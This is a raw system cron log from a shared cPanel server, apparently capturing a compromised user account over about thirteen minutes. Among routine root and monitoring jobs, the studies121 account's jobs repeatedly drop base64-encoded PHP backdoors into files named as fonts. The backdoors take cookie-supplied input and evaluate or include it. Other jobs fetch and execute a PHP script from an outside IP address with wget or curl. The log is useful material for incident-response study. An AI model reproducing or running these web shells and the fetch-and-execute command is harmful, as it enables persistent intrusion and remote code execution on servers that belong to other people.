Aug 30 17:07:01 ip-184-168-122-23 CROND[13805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:08:01 ip-184-168-122-23 CROND[13884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:08:01 ip-184-168-122-23 CROND[13886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:08:01 ip-184-168-122-23 CROND[13888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:08:01 ip-184-168-122-23 CROND[13889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:08:01 ip-184-168-122-23 CROND[13890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:09:01 ip-184-168-122-23 CROND[13977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:09:01 ip-184-168-122-23 CROND[13978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:09:01 ip-184-168-122-23 CROND[13979]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 17:09:01 ip-184-168-122-23 CROND[13982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:09:01 ip-184-168-122-23 CROND[13981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:10:01 ip-184-168-122-23 CROND[14088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:10:01 ip-184-168-122-23 CROND[14099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:10:01 ip-184-168-122-23 CROND[14100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:11:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:11:01 ip-184-168-122-23 CROND[14182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:11:01 ip-184-168-122-23 CROND[14183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:11:01 ip-184-168-122-23 CROND[14185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:12:01 ip-184-168-122-23 CROND[14349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:12:01 ip-184-168-122-23 CROND[14351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:12:01 ip-184-168-122-23 CROND[14353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:12:01 ip-184-168-122-23 CROND[14352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:12:01 ip-184-168-122-23 CROND[14355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:13:01 ip-184-168-122-23 CROND[14686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:13:01 ip-184-168-122-23 CROND[14688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:13:01 ip-184-168-122-23 CROND[14689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:13:01 ip-184-168-122-23 CROND[14690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:14:01 ip-184-168-122-23 CROND[15022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:14:01 ip-184-168-122-23 CROND[15025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:14:01 ip-184-168-122-23 CROND[15024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:14:01 ip-184-168-122-23 CROND[15026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:14:01 ip-184-168-122-23 CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:15:01 ip-184-168-122-23 CROND[15113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:15:01 ip-184-168-122-23 CROND[15114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:15:01 ip-184-168-122-23 CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:15:01 ip-184-168-122-23 CROND[15118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:15:01 ip-184-168-122-23 CROND[15117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:15:01 ip-184-168-122-23 CROND[15120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:16:01 ip-184-168-122-23 CROND[15202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:16:01 ip-184-168-122-23 CROND[15204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:16:01 ip-184-168-122-23 CROND[15205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:16:01 ip-184-168-122-23 CROND[15206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:16:01 ip-184-168-122-23 CROND[15209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:16:01 ip-184-168-122-23 CROND[15208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:17:01 ip-184-168-122-23 CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:17:01 ip-184-168-122-23 CROND[15315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:17:01 ip-184-168-122-23 CROND[15317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:17:01 ip-184-168-122-23 CROND[15314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:18:01 ip-184-168-122-23 CROND[15430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:18:01 ip-184-168-122-23 CROND[15433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:18:01 ip-184-168-122-23 CROND[15434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:18:01 ip-184-168-122-23 CROND[15436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:18:01 ip-184-168-122-23 CROND[15435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:19:01 ip-184-168-122-23 CROND[15791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:19:01 ip-184-168-122-23 CROND[15792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:19:01 ip-184-168-122-23 CROND[15793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:19:01 ip-184-168-122-23 CROND[15796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:20:01 ip-184-168-122-23 CROND[15889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
